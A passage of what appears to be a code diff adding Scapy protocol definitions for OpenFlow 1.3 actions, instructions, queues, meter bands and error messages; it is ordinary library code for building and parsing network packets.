"OFPAT_SET_NW_DST", + 8: "OFPAT_SET_NW_TOS", + 9: "OFPAT_SET_TP_SRC", + 10: "OFPAT_SET_TP_DST", + # 11: "OFPAT_ENQUEUE", + 11: "OFPAT_COPY_TTL_OUT", + 12: "OFPAT_COPY_TTL_IN", + 13: "OFPAT_SET_MPLS_LABEL", + 14: "OFPAT_DEC_MPLS_TC", + 15: "OFPAT_SET_MPLS_TTL", + 16: "OFPAT_DEC_MPLS_TTL", + 17: "OFPAT_PUSH_VLAN", + 18: "OFPAT_POP_VLAN", + 19: "OFPAT_PUSH_MPLS", + 20: "OFPAT_POP_MPLS", + 21: "OFPAT_SET_QUEUE", + 22: "OFPAT_GROUP", + 23: "OFPAT_SET_NW_TTL", + 24: "OFPAT_DEC_NW_TTL", + 25: "OFPAT_SET_FIELD", + 26: "OFPAT_PUSH_PBB", + 27: "OFPAT_POP_PBB", + 65535: "OFPAT_EXPERIMENTER"} + + +class OFPAT(_ofp_header): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + t = struct.unpack("!H", _pkt[:2])[0] + return ofp_action_cls.get(t, Raw) + return Raw + + def extract_padding(self, s): + return b"", s + + +class OFPATOutput(OFPAT): + name = "OFPAT_OUTPUT" + fields_desc = [ShortEnumField("type", 0, ofp_action_types), + ShortField("len", 16), + IntEnumField("port", 0, ofp_port_no), + ShortEnumField("max_len", "NO_BUFFER", ofp_max_len), + XBitField("pad", 0, 48)] + + +# the following actions are not supported by OFv1.3 + + +class OFPATSetVLANVID(OFPAT): + name = "OFPAT_SET_VLAN_VID" + fields_desc = [ShortEnumField("type", 1, ofp_action_types), + ShortField("len", 8), + ShortField("vlan_vid", 0), + XShortField("pad", 0)] + + +class OFPATSetVLANPCP(OFPAT): + name = "OFPAT_SET_VLAN_PCP" + fields_desc = [ShortEnumField("type", 2, ofp_action_types), + ShortField("len", 8), + ByteField("vlan_pcp", 0), + X3BytesField("pad", 0)] + + +class OFPATStripVLAN(OFPAT): + name = "OFPAT_STRIP_VLAN" + fields_desc = [ShortEnumField("type", 3, ofp_action_types), + ShortField("len", 8), + XIntField("pad", 0)] + + +class OFPATSetDlSrc(OFPAT): + name = "OFPAT_SET_DL_SRC" + fields_desc = [ShortEnumField("type", 4, ofp_action_types), + ShortField("len", 16), + MACField("dl_addr", "0"), + XBitField("pad", 0, 48)] + + +class OFPATSetDlDst(OFPAT): + name = "OFPAT_SET_DL_DST" + fields_desc = [ShortEnumField("type", 5, ofp_action_types), + ShortField("len", 16), + MACField("dl_addr", "0"), + XBitField("pad", 0, 48)] + + +class OFPATSetNwSrc(OFPAT): + name = "OFPAT_SET_NW_SRC" + fields_desc = [ShortEnumField("type", 6, ofp_action_types), + ShortField("len", 8), + IPField("nw_addr", "0")] + + +class OFPATSetNwDst(OFPAT): + name = "OFPAT_SET_NW_DST" + fields_desc = [ShortEnumField("type", 7, ofp_action_types), + ShortField("len", 8), + IPField("nw_addr", "0")] + + +class OFPATSetNwToS(OFPAT): + name = "OFPAT_SET_TP_TOS" + fields_desc = [ShortEnumField("type", 8, ofp_action_types), + ShortField("len", 8), + ByteField("nw_tos", 0), + X3BytesField("pad", 0)] + + +class OFPATSetTpSrc(OFPAT): + name = "OFPAT_SET_TP_SRC" + fields_desc = [ShortEnumField("type", 9, ofp_action_types), + ShortField("len", 8), + ShortField("tp_port", 0), + XShortField("pad", 0)] + + +class OFPATSetTpDst(OFPAT): + name = "OFPAT_SET_TP_DST" + fields_desc = [ShortEnumField("type", 10, ofp_action_types), + ShortField("len", 8), + ShortField("tp_port", 0), + XShortField("pad", 0)] + +# class OFPATEnqueue(OFPAT): +# name = "OFPAT_ENQUEUE" +# fields_desc = [ ShortEnumField("type", 11, ofp_action_types), +# ShortField("len", 16), +# ShortField("port", 0), +# XBitField("pad", 0, 48), +# IntEnumField("queue_id", 0, ofp_queue) ] + + +class OFPATSetMPLSLabel(OFPAT): + name = "OFPAT_SET_MPLS_LABEL" + fields_desc = [ShortEnumField("type", 13, ofp_action_types), + ShortField("len", 8), + IntField("mpls_label", 0)] + + +class OFPATSetMPLSTC(OFPAT): + name = "OFPAT_SET_MPLS_TC" + fields_desc = [ShortEnumField("type", 14, ofp_action_types), + ShortField("len", 8), + ByteField("mpls_tc", 0), + X3BytesField("pad", 0)] + +# end of unsupported actions + + +class OFPATCopyTTLOut(OFPAT): + name = "OFPAT_COPY_TTL_OUT" + fields_desc = [ShortEnumField("type", 11, ofp_action_types), + ShortField("len", 8), + XIntField("pad", 0)] + + +class OFPATCopyTTLIn(OFPAT): + name = "OFPAT_COPY_TTL_IN" + fields_desc = [ShortEnumField("type", 12, ofp_action_types), + ShortField("len", 8), + XIntField("pad", 0)] + + +class OFPATSetMPLSTTL(OFPAT): + name = "OFPAT_SET_MPLS_TTL" + fields_desc = [ShortEnumField("type", 15, ofp_action_types), + ShortField("len", 8), + ByteField("mpls_ttl", 0), + X3BytesField("pad", 0)] + + +class OFPATDecMPLSTTL(OFPAT): + name = "OFPAT_DEC_MPLS_TTL" + fields_desc = [ShortEnumField("type", 16, ofp_action_types), + ShortField("len", 8), + XIntField("pad", 0)] + + +class OFPATPushVLAN(OFPAT): + name = "OFPAT_PUSH_VLAN" + fields_desc = [ShortEnumField("type", 17, ofp_action_types), + ShortField("len", 8), + ShortField("ethertype", 0x8100), # or 0x88a8 + XShortField("pad", 0)] + + +class OFPATPopVLAN(OFPAT): + name = "OFPAT_POP_VLAN" + fields_desc = [ShortEnumField("type", 18, ofp_action_types), + ShortField("len", 8), + XIntField("pad", 0)] + + +class OFPATPushMPLS(OFPAT): + name = "OFPAT_PUSH_MPLS" + fields_desc = [ShortEnumField("type", 19, ofp_action_types), + ShortField("len", 8), + ShortField("ethertype", 0x8847), # or 0x8848 + XShortField("pad", 0)] + + +class OFPATPopMPLS(OFPAT): + name = "OFPAT_POP_MPLS" + fields_desc = [ShortEnumField("type", 20, ofp_action_types), + ShortField("len", 8), + ShortField("ethertype", 0x8847), # or 0x8848 + XShortField("pad", 0)] + + +class OFPATSetQueue(OFPAT): + name = "OFPAT_SET_QUEUE" + fields_desc = [ShortEnumField("type", 21, ofp_action_types), + ShortField("len", 8), + IntEnumField("queue_id", 0, ofp_queue)] + + +class OFPATGroup(OFPAT): + name = "OFPAT_GROUP" + fields_desc = [ShortEnumField("type", 22, ofp_action_types), + ShortField("len", 8), + IntEnumField("group_id", 0, ofp_group)] + + +class OFPATSetNwTTL(OFPAT): + name = "OFPAT_SET_NW_TTL" + fields_desc = [ShortEnumField("type", 23, ofp_action_types), + ShortField("len", 8), + ByteField("nw_ttl", 0), + X3BytesField("pad", 0)] + + +class OFPATDecNwTTL(OFPAT): + name = "OFPAT_DEC_NW_TTL" + fields_desc = [ShortEnumField("type", 24, ofp_action_types), + ShortField("len", 8), + XIntField("pad", 0)] + + +class OFPATSetField(OFPAT): + name = "OFPAT_SET_FIELD" + fields_desc = [ShortEnumField("type", 25, ofp_action_types), + ShortField("len", None), + # there should not be more than one oxm tlv + OXMPacketListField("field", [], Packet, + length_from=lambda pkt:pkt.len - 4, + # /!\ contains padding! + autocomplete=False)] + + def post_build(self, p, pay): + tmp_len = self.len + zero_bytes = 0 + if tmp_len is None: + tmp_len = len(p) + len(pay) + zero_bytes = (8 - tmp_len % 8) % 8 + tmp_len = tmp_len + zero_bytes # add padding length + p = p[:2] + struct.pack("!H", tmp_len) + p[4:] + else: + zero_bytes = (8 - tmp_len % 8) % 8 + # every message will be padded correctly + p += b"\x00" * zero_bytes + return p + pay + + def extract_padding(self, s): + return b"", s + + +class OFPATPushPBB(OFPAT): + name = "OFPAT_PUSH_PBB" + fields_desc = [ShortEnumField("type", 26, ofp_action_types), + ShortField("len", 8), + ShortField("ethertype", 0x88e7), + XShortField("pad", 0)] + + +class OFPATPopPBB(OFPAT): + name = "OFPAT_POP_PBB" + fields_desc = [ShortEnumField("type", 27, ofp_action_types), + ShortField("len", 8), + XIntField("pad", 0)] + + +class OFPATExperimenter(OFPAT): + name = "OFPAT_EXPERIMENTER" + fields_desc = [ShortEnumField("type", 65535, ofp_action_types), + ShortField("len", 8), + IntField("experimenter", 0)] + + +ofp_action_cls = {0: OFPATOutput, + 1: OFPATSetVLANVID, + 2: OFPATSetVLANPCP, + 3: OFPATStripVLAN, + 4: OFPATSetDlSrc, + 5: OFPATSetDlDst, + 6: OFPATSetNwSrc, + 7: OFPATSetNwDst, + 8: OFPATSetNwToS, + 9: OFPATSetTpSrc, + 10: OFPATSetTpDst, + # 11: OFPATEnqueue, + 11: OFPATCopyTTLOut, + 12: OFPATCopyTTLIn, + 13: OFPATSetMPLSLabel, + 14: OFPATSetMPLSTC, + 15: OFPATSetMPLSTTL, + 16: OFPATDecMPLSTTL, + 17: OFPATPushVLAN, + 18: OFPATPopVLAN, + 19: OFPATPushMPLS, + 20: OFPATPopMPLS, + 21: OFPATSetQueue, + 22: OFPATGroup, + 23: OFPATSetNwTTL, + 24: OFPATDecNwTTL, + 25: OFPATSetField, + 26: OFPATPushPBB, + 27: OFPATPopPBB, + 65535: OFPATExperimenter} + + +# Action IDs # + +class OFPATID(_ofp_header): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + t = struct.unpack("!H", _pkt[:2])[0] + return ofp_action_id_cls.get(t, Raw) + return Raw + + def extract_padding(self, s): + return b"", s + +# length is computed as in instruction structures, +# so we reuse _ofp_header + + +class OFPATOutputID(OFPATID): + name = "OFPAT_OUTPUT" + fields_desc = [ShortEnumField("type", 0, ofp_action_types), + ShortField("len", 4)] + +# the following actions are not supported by OFv1.3 + + +class OFPATSetVLANVIDID(OFPATID): + name = "OFPAT_SET_VLAN_VID" + fields_desc = [ShortEnumField("type", 1, ofp_action_types), + ShortField("len", 4)] + + +class OFPATSetVLANPCPID(OFPATID): + name = "OFPAT_SET_VLAN_PCP" + fields_desc = [ShortEnumField("type", 2, ofp_action_types), + ShortField("len", 4)] + + +class OFPATStripVLANID(OFPATID): + name = "OFPAT_STRIP_VLAN" + fields_desc = [ShortEnumField("type", 3, ofp_action_types), + ShortField("len", 4)] + + +class OFPATSetDlSrcID(OFPATID): + name = "OFPAT_SET_DL_SRC" + fields_desc = [ShortEnumField("type", 4, ofp_action_types), + ShortField("len", 4)] + + +class OFPATSetDlDstID(OFPATID): + name = "OFPAT_SET_DL_DST" + fields_desc = [ShortEnumField("type", 5, ofp_action_types), + ShortField("len", 4)] + + +class OFPATSetNwSrcID(OFPATID): + name = "OFPAT_SET_NW_SRC" + fields_desc = [ShortEnumField("type", 6, ofp_action_types), + ShortField("len", 4)] + + +class OFPATSetNwDstID(OFPATID): + name = "OFPAT_SET_NW_DST" + fields_desc = [ShortEnumField("type", 7, ofp_action_types), + ShortField("len", 4)] + + +class OFPATSetNwToSID(OFPATID): + name = "OFPAT_SET_TP_TOS" + fields_desc = [ShortEnumField("type", 8, ofp_action_types), + ShortField("len", 4)] + + +class OFPATSetTpSrcID(OFPATID): + name = "OFPAT_SET_TP_SRC" + fields_desc = [ShortEnumField("type", 9, ofp_action_types), + ShortField("len", 4)] + + +class OFPATSetTpDstID(OFPATID): + name = "OFPAT_SET_TP_DST" + fields_desc = [ShortEnumField("type", 10, ofp_action_types), + ShortField("len", 4)] + +# class OFPATEnqueueID(OFPAT): +# name = "OFPAT_ENQUEUE" +# fields_desc = [ ShortEnumField("type", 11, ofp_action_types), +# ShortField("len", 4) ] + + +class OFPATSetMPLSLabelID(OFPATID): + name = "OFPAT_SET_MPLS_LABEL" + fields_desc = [ShortEnumField("type", 13, ofp_action_types), + ShortField("len", 4)] + + +class OFPATSetMPLSTCID(OFPATID): + name = "OFPAT_SET_MPLS_TC" + fields_desc = [ShortEnumField("type", 14, ofp_action_types), + ShortField("len", 4)] + +# end of unsupported actions + + +class OFPATCopyTTLOutID(OFPATID): + name = "OFPAT_COPY_TTL_OUT" + fields_desc = [ShortEnumField("type", 11, ofp_action_types), + ShortField("len", 4)] + + +class OFPATCopyTTLInID(OFPATID): + name = "OFPAT_COPY_TTL_IN" + fields_desc = [ShortEnumField("type", 12, ofp_action_types), + ShortField("len", 4)] + + +class OFPATSetMPLSTTLID(OFPATID): + name = "OFPAT_SET_MPLS_TTL" + fields_desc = [ShortEnumField("type", 15, ofp_action_types), + ShortField("len", 4)] + + +class OFPATDecMPLSTTLID(OFPATID): + name = "OFPAT_DEC_MPLS_TTL" + fields_desc = [ShortEnumField("type", 16, ofp_action_types), + ShortField("len", 4)] + + +class OFPATPushVLANID(OFPATID): + name = "OFPAT_PUSH_VLAN" + fields_desc = [ShortEnumField("type", 17, ofp_action_types), + ShortField("len", 4)] + + +class OFPATPopVLANID(OFPATID): + name = "OFPAT_POP_VLAN" + fields_desc = [ShortEnumField("type", 18, ofp_action_types), + ShortField("len", 4)] + + +class OFPATPushMPLSID(OFPATID): + name = "OFPAT_PUSH_MPLS" + fields_desc = [ShortEnumField("type", 19, ofp_action_types), + ShortField("len", 4)] + + +class OFPATPopMPLSID(OFPATID): + name = "OFPAT_POP_MPLS" + fields_desc = [ShortEnumField("type", 20, ofp_action_types), + ShortField("len", 4)] + + +class OFPATSetQueueID(OFPATID): + name = "OFPAT_SET_QUEUE" + fields_desc = [ShortEnumField("type", 21, ofp_action_types), + ShortField("len", 4)] + + +class OFPATGroupID(OFPATID): + name = "OFPAT_GROUP" + fields_desc = [ShortEnumField("type", 22, ofp_action_types), + ShortField("len", 4)] + + +class OFPATSetNwTTLID(OFPATID): + name = "OFPAT_SET_NW_TTL" + fields_desc = [ShortEnumField("type", 23, ofp_action_types), + ShortField("len", 4)] + + +class OFPATDecNwTTLID(OFPATID): + name = "OFPAT_DEC_NW_TTL" + fields_desc = [ShortEnumField("type", 24, ofp_action_types), + ShortField("len", 4)] + + +class OFPATSetFieldID(OFPATID): + name = "OFPAT_SET_FIELD" + fields_desc = [ShortEnumField("type", 25, ofp_action_types), + ShortField("len", 4)] + + +class OFPATPushPBBID(OFPATID): + name = "OFPAT_PUSH_PBB" + fields_desc = [ShortEnumField("type", 26, ofp_action_types), + ShortField("len", 4)] + + +class OFPATPopPBBID(OFPATID): + name = "OFPAT_POP_PBB" + fields_desc = [ShortEnumField("type", 27, ofp_action_types), + ShortField("len", 4)] + + +class OFPATExperimenterID(OFPATID): + name = "OFPAT_EXPERIMENTER" + fields_desc = [ShortEnumField("type", 65535, ofp_action_types), + ShortField("len", None)] + + +ofp_action_id_cls = {0: OFPATOutputID, + 1: OFPATSetVLANVIDID, + 2: OFPATSetVLANPCPID, + 3: OFPATStripVLANID, + 4: OFPATSetDlSrcID, + 5: OFPATSetDlDstID, + 6: OFPATSetNwSrcID, + 7: OFPATSetNwDstID, + 8: OFPATSetNwToSID, + 9: OFPATSetTpSrcID, + 10: OFPATSetTpDstID, + # 11: OFPATEnqueueID, + 11: OFPATCopyTTLOutID, + 12: OFPATCopyTTLInID, + 13: OFPATSetMPLSLabelID, + 14: OFPATSetMPLSTCID, + 15: OFPATSetMPLSTTLID, + 16: OFPATDecMPLSTTLID, + 17: OFPATPushVLANID, + 18: OFPATPopVLANID, + 19: OFPATPushMPLSID, + 20: OFPATPopMPLSID, + 21: OFPATSetQueueID, + 22: OFPATGroupID, + 23: OFPATSetNwTTLID, + 24: OFPATDecNwTTLID, + 25: OFPATSetFieldID, + 26: OFPATPushPBBID, + 27: OFPATPopPBBID, + 65535: OFPATExperimenterID} + + +# Instructions # + + +ofp_instruction_types = {1: "OFPIT_GOTO_TABLE", + 2: "OFPIT_WRITE_METADATA", + 3: "OFPIT_WRITE_ACTIONS", + 4: "OFPIT_APPLY_ACTIONS", + 5: "OFPIT_CLEAR_ACTIONS", + 6: "OFPIT_METER", + 65535: "OFPIT_EXPERIMENTER"} + + +class OFPIT(_ofp_header): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + t = struct.unpack("!H", _pkt[:2])[0] + return ofp_instruction_cls.get(t, Raw) + return Raw + + def extract_padding(self, s): + return b"", s + + +class OFPITGotoTable(OFPIT): + name = "OFPIT_GOTO_TABLE" + fields_desc = [ShortEnumField("type", 1, ofp_instruction_types), + ShortField("len", 8), + ByteEnumField("table_id", 0, ofp_table), + X3BytesField("pad", 0)] + + +class OFPITWriteMetadata(OFPIT): + name = "OFPIT_WRITE_METADATA" + fields_desc = [ShortEnumField("type", 2, ofp_instruction_types), + ShortField("len", 24), + XIntField("pad", 0), + LongField("metadata", 0), + LongField("metadata_mask", 0)] + + +class OFPITWriteActions(OFPIT): + name = "OFPIT_WRITE_ACTIONS" + fields_desc = [ShortEnumField("type", 3, ofp_instruction_types), + ShortField("len", None), + XIntField("pad", 0), + PacketListField("actions", [], OFPAT, + length_from=lambda pkt:pkt.len - 8)] + + +class OFPITApplyActions(OFPIT): + name = "OFPIT_APPLY_ACTIONS" + fields_desc = [ShortEnumField("type", 4, ofp_instruction_types), + ShortField("len", None), + XIntField("pad", 0), + PacketListField("actions", [], OFPAT, + length_from=lambda pkt:pkt.len - 8)] + + +class OFPITClearActions(OFPIT): + name = "OFPIT_CLEAR_ACTIONS" + fields_desc = [ShortEnumField("type", 5, ofp_instruction_types), + ShortField("len", 8), + XIntField("pad", 0)] + + +class OFPITMeter(OFPIT): + name = "OFPIT_METER" + fields_desc = [ShortEnumField("type", 6, ofp_instruction_types), + ShortField("len", 8), + IntEnumField("meter_id", 1, ofp_meter)] + + +class OFPITExperimenter(OFPIT): + name = "OFPIT_EXPERIMENTER" + fields_desc = [ShortEnumField("type", 65535, ofp_instruction_types), + ShortField("len", None), + IntField("experimenter", 0)] + + +ofp_instruction_cls = {1: OFPITGotoTable, + 2: OFPITWriteMetadata, + 3: OFPITWriteActions, + 4: OFPITApplyActions, + 5: OFPITClearActions, + 6: OFPITMeter, + 65535: OFPITExperimenter} + + +# Instruction IDs # + +# length is computed as in instruction structures, +# so we reuse _ofp_header + +class OFPITID(_ofp_header): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + t = struct.unpack("!H", _pkt[:2])[0] + return ofp_instruction_id_cls.get(t, Raw) + return Raw + + def extract_padding(self, s): + return b"", s + + +class OFPITGotoTableID(OFPITID): + name = "OFPIT_GOTO_TABLE" + fields_desc = [ShortEnumField("type", 1, ofp_instruction_types), + ShortField("len", 4)] + + +class OFPITWriteMetadataID(OFPITID): + name = "OFPIT_WRITE_METADATA" + fields_desc = [ShortEnumField("type", 2, ofp_instruction_types), + ShortField("len", 4)] + + +class OFPITWriteActionsID(OFPITID): + name = "OFPIT_WRITE_ACTIONS" + fields_desc = [ShortEnumField("type", 3, ofp_instruction_types), + ShortField("len", 4)] + + +class OFPITApplyActionsID(OFPITID): + name = "OFPIT_APPLY_ACTIONS" + fields_desc = [ShortEnumField("type", 4, ofp_instruction_types), + ShortField("len", 4)] + + +class OFPITClearActionsID(OFPITID): + name = "OFPIT_CLEAR_ACTIONS" + fields_desc = [ShortEnumField("type", 5, ofp_instruction_types), + ShortField("len", 4)] + + +class OFPITMeterID(OFPITID): + name = "OFPIT_METER" + fields_desc = [ShortEnumField("type", 6, ofp_instruction_types), + ShortField("len", 4)] + + +class OFPITExperimenterID(OFPITID): + name = "OFPIT_EXPERIMENTER" + fields_desc = [ShortEnumField("type", 65535, ofp_instruction_types), + ShortField("len", None)] + + +ofp_instruction_id_cls = {1: OFPITGotoTableID, + 2: OFPITWriteMetadataID, + 3: OFPITWriteActionsID, + 4: OFPITApplyActionsID, + 5: OFPITClearActionsID, + 6: OFPITMeterID, + 65535: OFPITExperimenterID} + + +# Buckets # + +class OFPBucket(_ofp_header_item): + name = "OFP_BUCKET" + fields_desc = [ShortField("len", None), + ShortField("weight", 0), + IntEnumField("watch_port", 0, ofp_port_no), + IntEnumField("watch_group", 0, ofp_group), + XIntField("pad", 0), + PacketListField("actions", [], OFPAT, + length_from=lambda pkt:pkt.len - 16)] + + def extract_padding(self, s): + return b"", s + + +# Queues # + + +ofp_queue_property_types = {0: "OFPQT_NONE", + 1: "OFPQT_MIN_RATE"} + + +class OFPQT(_ofp_header): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + t = struct.unpack("!H", _pkt[:2])[0] + return ofp_queue_property_cls.get(t, Raw) + return Raw + + def extract_padding(self, s): + return b"", s + + +class OFPQTNone(OFPQT): + name = "OFPQT_NONE" + fields_desc = [ShortEnumField("type", 0, ofp_queue_property_types), + ShortField("len", 8), + XIntField("pad", 0)] + + +class OFPQTMinRate(OFPQT): + name = "OFPQT_MIN_RATE" + fields_desc = [ShortEnumField("type", 1, ofp_queue_property_types), + ShortField("len", 16), + XIntField("pad1", 0), + ShortField("rate", 0), + XBitField("pad2", 0, 48)] + + +ofp_queue_property_cls = {0: OFPQTNone, + 1: OFPQTMinRate} + + +class OFPPacketQueue(Packet): + name = "OFP_PACKET_QUEUE" + fields_desc = [IntEnumField("queue_id", 0, ofp_queue), + ShortField("len", None), + XShortField("pad", 0), + PacketListField("properties", [], OFPQT, + length_from=lambda pkt:pkt.len - 8)] # noqa: E501 + + def extract_padding(self, s): + return b"", s + + def post_build(self, p, pay): + if self.properties == []: + p += raw(OFPQTNone()) + if self.len is None: + tmp_len = len(p) + len(pay) + p = p[:4] + struct.pack("!H", tmp_len) + p[6:] + return p + pay + + +# Meter bands # + +ofp_meter_band_types = {0: "OFPMBT_DROP", + 1: "OFPMBT_DSCP_REMARK", + 65535: "OFPMBT_EXPERIMENTER"} + + +class OFPMBT(_ofp_header): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + t = struct.unpack("!H", _pkt[:2])[0] + return ofp_meter_band_cls.get(t, Raw) + return Raw + + def extract_padding(self, s): + return b"", s + + +class OFPMBTDrop(OFPMBT): + name = "OFPMBT_DROP" + fields_desc = [ShortEnumField("type", 0, ofp_queue_property_types), + ShortField("len", 16), + IntField("rate", 0), + IntField("burst_size", 0), + XIntField("pad", 0)] + + +class OFPMBTDSCPRemark(OFPMBT): + name = "OFPMBT_DSCP_REMARK" + fields_desc = [ShortEnumField("type", 1, ofp_queue_property_types), + ShortField("len", 16), + IntField("rate", 0), + IntField("burst_size", 0), + ByteField("prec_level", 0), + X3BytesField("pad", 0)] + + +class OFPMBTExperimenter(OFPMBT): + name = "OFPMBT_EXPERIMENTER" + fields_desc = [ShortEnumField("type", 65535, ofp_queue_property_types), + ShortField("len", 16), + IntField("rate", 0), + IntField("burst_size", 0), + IntField("experimenter", 0)] + + +ofp_meter_band_cls = {0: OFPMBTDrop, + 1: OFPMBTDSCPRemark, + 2: OFPMBTExperimenter} + + +##################################################### +# OpenFlow 1.3 Messages # +##################################################### + +ofp_version = {0x01: "OpenFlow 1.0", + 0x02: "OpenFlow 1.1", + 0x03: "OpenFlow 1.2", + 0x04: "OpenFlow 1.3", + 0x05: "OpenFlow 1.4"} + +ofp_type = {0: "OFPT_HELLO", + 1: "OFPT_ERROR", + 2: "OFPT_ECHO_REQUEST", + 3: "OFPT_ECHO_REPLY", + 4: "OFPT_EXPERIMENTER", + 5: "OFPT_FEATURES_REQUEST", + 6: "OFPT_FEATURES_REPLY", + 7: "OFPT_GET_CONFIG_REQUEST", + 8: "OFPT_GET_CONFIG_REPLY", + 9: "OFPT_SET_CONFIG", + 10: "OFPT_PACKET_IN", + 11: "OFPT_FLOW_REMOVED", + 12: "OFPT_PORT_STATUS", + 13: "OFPT_PACKET_OUT", + 14: "OFPT_FLOW_MOD", + 15: "OFPT_GROUP_MOD", + 16: "OFPT_PORT_MOD", + 17: "OFPT_TABLE_MOD", + 18: "OFPT_MULTIPART_REQUEST", + 19: "OFPT_MULTIPART_REPLY", + 20: "OFPT_BARRIER_REQUEST", + 21: "OFPT_BARRIER_REPLY", + 22: "OFPT_QUEUE_GET_CONFIG_REQUEST", + 23: "OFPT_QUEUE_GET_CONFIG_REPLY", + 24: "OFPT_ROLE_REQUEST", + 25: "OFPT_ROLE_REPLY", + 26: "OFPT_GET_ASYNC_REQUEST", + 27: "OFPT_GET_ASYNC_REPLY", + 28: "OFPT_SET_ASYNC", + 29: "OFPT_METER_MOD"} + + +class OFPTHello(_ofp_header): + name = "OFPT_HELLO" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 0, ofp_type), + ShortField("len", None), + IntField("xid", 0), + PacketListField("elements", [], OFPHET, + length_from=lambda pkt: pkt.len - 8)] + + +##################################################### +# OFPT_ERROR # +##################################################### + + +ofp_error_type = {0: "OFPET_HELLO_FAILED", + 1: "OFPET_BAD_REQUEST", + 2: "OFPET_BAD_ACTION", + 3: "OFPET_BAD_INSTRUCTION", + 4: "OFPET_BAD_MATCH", + 5: "OFPET_FLOW_MOD_FAILED", + 6: "OFPET_GROUP_MOD_FAILED", + 7: "OFPET_PORT_MOD_FAILED", + 8: "OFPET_TABLE_MOD_FAILED", + 9: "OFPET_QUEUE_OP_FAILED", + 10: "OFPET_SWITCH_CONFIG_FAILED", + 11: "OFPET_ROLE_REQUEST_FAILED", + 12: "OFPET_METER_MOD_FAILED", + 13: "OFPET_TABLE_FEATURES_FAILED", + 65535: "OFPET_EXPERIMENTER"} + + +class OFPETHelloFailed(_ofp_header): + name = "OFPET_HELLO_FAILED" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 0, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPHFC_INCOMPATIBLE", + 1: "OFPHFC_EPERM"}), + OFPacketField("data", "", Raw)] + + +class OFPETBadRequest(_ofp_header): + name = "OFPET_BAD_REQUEST" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 1, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPBRC_BAD_VERSION", + 1: "OFPBRC_BAD_TYPE", + 2: "OFPBRC_BAD_MULTIPART", + 3: "OFPBRC_BAD_EXPERIMENTER", + 4: "OFPBRC_BAD_EXP_TYPE", + 5: "OFPBRC_EPERM", + 6: "OFPBRC_BAD_LEN", + 7: "OFPBRC_BUFFER_EMPTY", + 8: "OFPBRC_BUFFER_UNKNOWN", + 9: "OFPBRC_BAD_TABLE_ID", + 10: "OFPBRC_IS_SLAVE", + 11: "OFPBRC_BAD_PORT", + 12: "OFPBRC_BAD_PACKET", + 13: "OFPBRC_MULTIPART_BUFFER_OVERFLOW"}), # noqa: E501 + OFPacketField("data", "", Raw)] + + +class OFPETBadAction(_ofp_header): + name = "OFPET_BAD_ACTION" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 2, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPBAC_BAD_TYPE", + 1: "OFPBAC_BAD_LEN", + 2: "OFPBAC_BAD_EXPERIMENTER", + 3: "OFPBAC_BAD_EXP_TYPE", + 4: "OFPBAC_BAD_OUT_PORT", + 5: "OFPBAC_BAD_ARGUMENT", + 6: "OFPBAC_EPERM", + 7: "OFPBAC_TOO_MANY", + 8: "OFPBAC_BAD_QUEUE", + 9: "OFPBAC_BAD_OUT_GROUP", + 10: "OFPBAC_MATCH_INCONSISTENT", # noqa: E501 + 11: "OFPBAC_UNSUPPORTED_ORDER", # noqa: E501 + 12: "OFPBAC_BAD_TAG", + 13: "OFPBAC_BAD_SET_TYPE", + 14: "OFPBAC_BAD_SET_LEN", + 15: "OFPBAC_BAD_SET_ARGUMENT"}), # noqa: E501 + OFPacketField("data", "", Raw)] + + +class OFPETBadInstruction(_ofp_header): + name = "OFPET_BAD_INSTRUCTION" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 3, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPBIC_UNKNOWN_INST", + 1: "OFPBIC_UNSUP_INST", + 2: "OFPBIC_BAD_TABLE_ID", + 3: "OFPBIC_UNSUP_METADATA", + 4: "OFPBIC_UNSUP_METADATA_MASK", # noqa: E501 + 5: "OFPBIC_BAD_EXPERIMENTER", + 6: "OFPBIC_BAD_EXP_TYPE", + 7: "OFPBIC_BAD_LEN", + 8: "OFPBIC_EPERM"}), + OFPacketField("data", "", Raw)] + + +class OFPETBadMatch(_ofp_header): + name = "OFPET_BAD_MATCH" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 4, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPBMC_BAD_TYPE", + 1: "OFPBMC_BAD_LEN", + 2: "OFPBMC_BAD_TAG", + 3: "OFPBMC_BAD_DL_ADDR_MASK", + 4: "OFPBMC_BAD_NW_ADDR_MASK", + 5: "OFPBMC_BAD_WILDCARDS", + 6: "OFPBMC_BAD_FIELD", + 7: "OFPBMC_BAD_VALUE", + 8: "OFPBMC_BAD_MASK", + 9: "OFPBMC_BAD_PREREQ", + 10: "OFPBMC_DUP_FIELD", + 11: "OFPBMC_EPERM"}), + OFPacketField("data", "", Raw)] + + +class OFPETFlowModFailed(_ofp_header): + name = "OFPET_FLOW_MOD_FAILED" + fields_desc = [ByteEnumField("version", 0x04, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 5, 